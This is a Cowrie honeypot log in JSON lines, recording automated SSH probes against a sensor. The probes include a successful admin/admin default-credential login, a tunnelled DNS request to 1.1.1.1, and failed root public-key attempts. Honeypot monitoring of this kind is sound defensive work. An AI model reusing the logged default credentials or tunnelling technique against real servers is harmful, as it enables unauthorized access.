{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:12:59.675971Z","src_ip":"87.251.64.176","session":"5435a4c52cd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:12:59.772498Z","src_ip":"87.251.64.176","session":"5435a4c52cd5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:13:00.061537Z","src_ip":"87.251.64.176","session":"5435a4c52cd5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:13:00.162248Z","session":"5435a4c52cd5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:13:00.260885Z","src_ip":"87.251.64.176","session":"5435a4c52cd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:13:00.361083Z","src_ip":"87.251.64.176","session":"5435a4c52cd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":28754,"dst_ip":"10.17.0.5","dst_port":22,"session":"f562f855c83a","protocol":"ssh","message":"New connection: 194.59.206.2:28754 (10.17.0.5:22) [session: f562f855c83a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:13:22.968833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:13:22.984233Z","src_ip":"194.59.206.2","session":"f562f855c83a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:13:23.061667Z","src_ip":"194.59.206.2","session":"f562f855c83a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:13:23.237501Z","src_ip":"194.59.206.2","session":"f562f855c83a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":60.126022815704346,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:13:43.254781Z","src_ip":"212.55.149.117","session":"9743545c48ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.129.200.117","src_port":62548,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b8d4f872f2b","protocol":"ssh","message":"New connection: 102.129.200.117:62548 (10.17.0.5:22) [session: 6b8d4f872f2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:13:58.745791Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:13:58.755664Z","src_ip":"102.129.200.117","session":"6b8d4f872f2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:13:58.849560Z","src_ip":"102.129.200.117","session":"6b8d4f872f2b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e1:13:59:12:f5:f7:ea:d8:0d:aa:1f:dc:bb:b5:e1:d0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPhOurH6HPeNxsWvf7UZMunyW/Q697lRcus7CAP+B0BYHiXPRHg4E7VERYCGRHEmokuG2FoDM7EA2qukCopD1cz/3J1TdKIOE9vZ1HpEk+rjLCbbkdQ1Bu21XpVmJ7U/3Lkdaf3lJGBSeIxgtVQpK/phv3qN9D5e7Hcfbnj3K7mnNk8awxBYox6ynTyQmb2XbQXqdR7/k/gxponWSTv9scMG/UiFWelX2NUIdOpA16XEJSmuZ8sH+sEr5rHrjsfoHK9dGPU1k5iGqSk05B4l8uM5pNubz72x8VAFHJYOVmzRzgxjeQGip6HZqTzhQxqvGqW0JOMpgs7/xb4HMxUiHl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e1:13:59:12:f5:f7:ea:d8:0d:aa:1f:dc:bb:b5:e1:d0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:13:59.268105Z","src_ip":"102.129.200.117","session":"6b8d4f872f2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e1:13:59:12:f5:f7:ea:d8:0d:aa:1f:dc:bb:b5:e1:d0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPhOurH6HPeNxsWvf7UZMunyW/Q697lRcus7CAP+B0BYHiXPRHg4E7VERYCGRHEmokuG2FoDM7EA2qukCopD1cz/3J1TdKIOE9vZ1HpEk+rjLCbbkdQ1Bu21XpVmJ7U/3Lkdaf3lJGBSeIxgtVQpK/phv3qN9D5e7Hcfbnj3K7mnNk8awxBYox6ynTyQmb2XbQXqdR7/k/gxponWSTv9scMG/UiFWelX2NUIdOpA16XEJSmuZ8sH+sEr5rHrjsfoHK9dGPU1k5iGqSk05B4l8uM5pNubz72x8VAFHJYOVmzRzgxjeQGip6HZqTzhQxqvGqW0JOMpgs7/xb4HMxUiHl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:13:59.272202Z","src_ip":"102.129.200.117","session":"6b8d4f872f2b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e9:52:58:13:b2:70:15:ff:91:25:f9:65:04:87:e7:c6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDZGWt2ZuZOxpaLsigpUuX7XIsYGhTYDWF5uTb23hnPgjvMznnKYzaP4PK7XZBHSWMq3jIWQxPHjkkP3SeXPQIZNGmMwtWoWdKp4aO0siIF0Jo6NwDHpbNwGePhTOXuX9C+esDAzLt+rJ1OEzCEJ1xJuRWmgR3shly0TQrtRFaX8tpQyLZEW/tzFMLrcPhoyOi9iHhtz09IWfFd4kjj+aUiXSI9VbOcFVO8MEc/99WTqVNqQIZEiEx5aoChWbXkoRtjiH0ZN/8qe2y+wHOwnGpTtIVNgWHXv7sPwHUjI68pw0+3SfScotWn1cWIVP6/BshvG6T4LWB+GzpvFe/hwYiygTTleFoD8lTbJHvJw05yAWgfhAoNIaGDRiq0GPg2s2MimEvu0wHX0dTA0bMc5Xgh9Lh8c+EyOrRaX+Y2FFkcjDA0hayYU9q30VKAfDyXohZGjZWW1lTgoJs5qrUPPtoAbTHwhfW21Az9ANBj9WUmm8o7QKIQkjL1iDecRokA5ZU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e9:52:58:13:b2:70:15:ff:91:25:f9:65:04:87:e7:c6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:13:59.361134Z","src_ip":"102.129.200.117","session":"6b8d4f872f2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e9:52:58:13:b2:70:15:ff:91:25:f9:65:04:87:e7:c6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDZGWt2ZuZOxpaLsigpUuX7XIsYGhTYDWF5uTb23hnPgjvMznnKYzaP4PK7XZBHSWMq3jIWQxPHjkkP3SeXPQIZNGmMwtWoWdKp4aO0siIF0Jo6NwDHpbNwGePhTOXuX9C+esDAzLt+rJ1OEzCEJ1xJuRWmgR3shly0TQrtRFaX8tpQyLZEW/tzFMLrcPhoyOi9iHhtz09IWfFd4kjj+aUiXSI9VbOcFVO8MEc/99WTqVNqQIZEiEx5aoChWbXkoRtjiH0ZN/8qe2y+wHOwnGpTtIVNgWHXv7sPwHUjI68pw0+3SfScotWn1cWIVP6/BshvG6T4LWB+GzpvFe/hwYiygTTleFoD8lTbJHvJw05yAWgfhAoNIaGDRiq0GPg2s2MimEvu0wHX0dTA0bMc5Xgh9Lh8c+EyOrRaX+Y2FFkcjDA0hayYU9q30VKAfDyXohZGjZWW1lTgoJs5qrUPPtoAbTHwhfW21Az9ANBj9WUmm8o7QKIQkjL1iDecRokA5ZU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:13:59.365494Z","src_ip":"102.129.200.117","session":"6b8d4f872f2b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a7:ba:08:51:7c:19:8f:9d:85:16:7c:62:e0:6f:bd:e9","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJcUsDlGAEkJ4ncQ2nhz8JrVRH9VtBXvQ8GOaCLwgVMeZukGbT9uCYz/bwbu50kM8jNszTgofBR6FlPn1OSM4t0uCVQ6Yu89se8Er5oAW1b6mR9sfGcBa1FoAvWWNfQlXY3AwRUiOXs//HLiC626lOpGQeZQBXaXLG7ntthozbaXAAAAFQCNUm0Y/fJWePVH8ozUO4lI8h2LdQAAAIBhdZZN4VQGj+e5DxYNXBis+5HIUpXnqb4thC4jImzbQLlqfKCTENG75BMCNnJGva+VutD9iy6Z6vnJHUXWVWQZ2r1Hq4Cc1IqXhYOX20SiWkDzEdr2GNYP6FNYPjX11gBwOm/CWq3XvmVIWjPxIZa5yUu9P2Drb6+JQ0mCwrvZLgAAAIEAjx/O4A4zuV8AokQ/LMGkNBNAGjkJwfsvqwglPKtGsAV09VXUme6RlmyxHhp11ori/n2cq6uXMYmDrYxPEpMur5wns+XTxxdpJXqs2HgE/iB0/WYe/x7YmQ/BKsuybwInnrknDpZuGLaEGCYA5thiVIKQ5rVKMuV/hDZSvbxAki8=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint a7:ba:08:51:7c:19:8f:9d:85:16:7c:62:e0:6f:bd:e9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:13:59.698483Z","src_ip":"102.129.200.117","session":"6b8d4f872f2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a7:ba:08:51:7c:19:8f:9d:85:16:7c:62:e0:6f:bd:e9","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJcUsDlGAEkJ4ncQ2nhz8JrVRH9VtBXvQ8GOaCLwgVMeZukGbT9uCYz/bwbu50kM8jNszTgofBR6FlPn1OSM4t0uCVQ6Yu89se8Er5oAW1b6mR9sfGcBa1FoAvWWNfQlXY3AwRUiOXs//HLiC626lOpGQeZQBXaXLG7ntthozbaXAAAAFQCNUm0Y/fJWePVH8ozUO4lI8h2LdQAAAIBhdZZN4VQGj+e5DxYNXBis+5HIUpXnqb4thC4jImzbQLlqfKCTENG75BMCNnJGva+VutD9iy6Z6vnJHUXWVWQZ2r1Hq4Cc1IqXhYOX20SiWkDzEdr2GNYP6FNYPjX11gBwOm/CWq3XvmVIWjPxIZa5yUu9P2Drb6+JQ0mCwrvZLgAAAIEAjx/O4A4zuV8AokQ/LMGkNBNAGjkJwfsvqwglPKtGsAV09VXUme6RlmyxHhp11ori/n2cq6uXMYmDrYxPEpMur5wns+XTxxdpJXqs2HgE/iB0/WYe/x7YmQ/BKsuybwInnrknDpZuGLaEGCYA5thiVIKQ5rVKMuV/hDZSvbxAki8=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:13:59.703366Z","src_ip":"102.129.200.117","session":"6b8d4f872f2b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"06:0a:51:06:1b:19:a0:70:77:7c:ea:36:b4:ef:56:8a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCvj7CnQ58SoC+68P0TUtZSvmJ90heH8k8hJR0oi0/zV5pnQBuPYBgYEVSlxzgMyUE4ffgpaBiU1VOH32QKU8DD1eI0DR7CVJMX+TPHYtHn3qpOO9kklwqr4dYJVUEYoT9e6CLXbf1U+QZ6ha94/juYSTj2PciU6mbJn8C7Yy0edXogHzUNt02kVJz2gW9wTvw9XZzsNHjvMXRIlzi8rDSawKafuhi2vImr/V8Bhqaqd28LgzMWFG7q+yNo/Xzf6XaH/xrK0NDpyiFy4Mgzwzx9sXFrw3EPdD4jGQt+1S5yJEuwJFedLUyN/TYwX1M1lrx/GFNm/YBpUTLzP5vyJxzPora4xai3pHB7uNX4VSsG8s2HByou3sQDnA/6c95e9RLClaFlAx7efiAex3lg7PoHHZkcr11aa8Kg2nKLWvxdrmB10DN+ttt1JgUD9fSFYlS5TLxak8frYNUxggnJcY2C7aSF7fJD/KvlXxzP6p37XanEgZmvjngvEk+o6zWD/n0b8Ka3fh1CblFhZ5ML/grKSMbyjT+Se2BfilCidY4Vomlvhxk2Nblylt5KiEPqWb02PoaLxILmcTd66KDZZ12H83dIbO/mw4R7rOPY8Kk87Oc/veZ3gPay5JuG1YczmkmpZr5Gky9ynaerB/LRZH8aVnDyhUxnS5T5Om4ak/uONQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 06:0a:51:06:1b:19:a0:70:77:7c:ea:36:b4:ef:56:8a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:13:59.792545Z","src_ip":"102.129.200.117","session":"6b8d4f872f2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"06:0a:51:06:1b:19:a0:70:77:7c:ea:36:b4:ef:56:8a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCvj7CnQ58SoC+68P0TUtZSvmJ90heH8k8hJR0oi0/zV5pnQBuPYBgYEVSlxzgMyUE4ffgpaBiU1VOH32QKU8DD1eI0DR7CVJMX+TPHYtHn3qpOO9kklwqr4dYJVUEYoT9e6CLXbf1U+QZ6ha94/juYSTj2PciU6mbJn8C7Yy0edXogHzUNt02kVJz2gW9wTvw9XZzsNHjvMXRIlzi8rDSawKafuhi2vImr/V8Bhqaqd28LgzMWFG7q+yNo/Xzf6XaH/xrK0NDpyiFy4Mgzwzx9sXFrw3EPdD4jGQt+1S5yJEuwJFedLUyN/TYwX1M1lrx/GFNm/YBpUTLzP5vyJxzPora4xai3pHB7uNX4VSsG8s2HByou3sQDnA/6c95e9RLClaFlAx7efiAex3lg7PoHHZkcr11aa8Kg2nKLWvxdrmB10DN+ttt1JgUD9fSFYlS5TLxak8frYNUxggnJcY2C7aSF7fJD/KvlXxzP6p37XanEgZmvjngvEk+o6zWD/n0b8Ka3fh1CblFhZ5ML/grKSMbyjT+Se2BfilCidY4Vomlvhxk2Nblylt5KiEPqWb02PoaLxILmcTd66KDZZ12H83dIbO/mw4R7rOPY8Kk87Oc/veZ3gPay5JuG1YczmkmpZr5Gky9ynaerB/LRZH8aVnDyhUxnS5T5Om4ak/uONQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:13:59.796924Z","src_ip":"102.129.200.117","session":"6b8d4f872f2b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a0:43:9c:89:ee:a7:fb:e3:fc:62:54:78:9a:23:6f:73","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC7Qr2A5CDkBWwGpDG5flAOE7WzjndSEVOChmNOuqBkCDwlcrx9E9BtuPrQ0gWnXLQ0il25U0XAm+i/BQhQzGOmvtRNKI551z9POzqmtKYqELzxdP9SMnRKHjT7WerXAfpA/751f2C4qrv3hMrdsQyZq9a2BMokp/4zuvcS365P+1YZKc0Y2WRZE67WqHuK0AFKIdC5ElwMjSEvg3caBCpkLDRDadY3DGFeaeAho19giRUFBYm/xBfhlCKN/tRUPDzaH6r2F1cTNsexqFtmCCI4H2P22ML3uIiY7jx9bcRn4ykob7UVtXLtCEjlXSmwmf+lxxYBh31pE3TtFyl28RXkyP1A2tNhAWzSA9cZWukHxgOPzeWWcKeUBHRWaQb7bxVrYSvF75KDlHpdbO3tEmLglNkZwZ8mOUCvaFTArVt+SapCKQgjxhaVrFkhLthqudCxuY36tXd46WWV8m4eS52/JTiNFbMGJ+PynvwN+sPvqyzHAv84GDk7D6lo3XdoXmygHpFrb+FpwsU0lvzyCjt5Ot8Z9plopZKzMxTCE5A7i9DCWO4+BXX+kfR+VYF3N6uNkUO3By5iSLaWvuGl694+w+JeqeN5Lz37J7hhA1aPPH7BmaMwcXOEsaW/DDYdRdznnhbWzBPtDSwPxa7pPMhqP5px60y5yt8hGCgO2/qX/Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a0:43:9c:89:ee:a7:fb:e3:fc:62:54:78:9a:23:6f:73","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:13:59.887874Z","src_ip":"102.129.200.117","session":"6b8d4f872f2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a0:43:9c:89:ee:a7:fb:e3:fc:62:54:78:9a:23:6f:73","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC7Qr2A5CDkBWwGpDG5flAOE7WzjndSEVOChmNOuqBkCDwlcrx9E9BtuPrQ0gWnXLQ0il25U0XAm+i/BQhQzGOmvtRNKI551z9POzqmtKYqELzxdP9SMnRKHjT7WerXAfpA/751f2C4qrv3hMrdsQyZq9a2BMokp/4zuvcS365P+1YZKc0Y2WRZE67WqHuK0AFKIdC5ElwMjSEvg3caBCpkLDRDadY3DGFeaeAho19giRUFBYm/xBfhlCKN/tRUPDzaH6r2F1cTNsexqFtmCCI4H2P22ML3uIiY7jx9bcRn4ykob7UVtXLtCEjlXSmwmf+lxxYBh31pE3TtFyl28RXkyP1A2tNhAWzSA9cZWukHxgOPzeWWcKeUBHRWaQb7bxVrYSvF75KDlHpdbO3tEmLglNkZwZ8mOUCvaFTArVt+SapCKQgjxhaVrFkhLthqudCxuY36tXd46WWV8m4eS52/JTiNFbMGJ+PynvwN+sPvqyzHAv84GDk7D6lo3XdoXmygHpFrb+FpwsU0lvzyCjt5Ot8Z9plopZKzMxTCE5A7i9DCWO4+BXX+kfR+VYF3N6uNkUO3By5iSLaWvuGl694+w+JeqeN5Lz37J7hhA1aPPH7BmaMwcXOEsaW/DDYdRdznnhbWzBPtDSwPxa7pPMhqP5px60y5yt8hGCgO2/qX/Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:13:59.891695Z","src_ip":"102.129.200.117","session":"6b8d4f872f2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:14:00.007531Z","src_ip":"102.129.200.117","session":"6b8d4f872f2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.171.92.36","src_port":35103,"dst_ip":"10.17.0.5","dst_port":22,"session":"c06da7f2fb15","protocol":"ssh","message":"New connection: 223.171.92.36:35103 (10.17.0.5:22) [session: c06da7f2fb15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:15:41.698152Z"}
{"eventid":"cowrie.session.closed","duration":"5.5","message":"Connection lost after 5.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:15:47.236645Z","src_ip":"223.171.92.36","session":"c06da7f2fb15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.171.92.36","src_port":44381,"dst_ip":"10.17.0.5","dst_port":22,"session":"bca639c11b9f","protocol":"ssh","message":"New connection: 223.171.92.36:44381 (10.17.0.5:22) [session: bca639c11b9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:15:55.412512Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.7.4","message":"Remote SSH version: SSH-2.0-libssh_0.7.4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:15:56.976166Z","src_ip":"223.171.92.36","session":"bca639c11b9f","protocol":"ssh"}
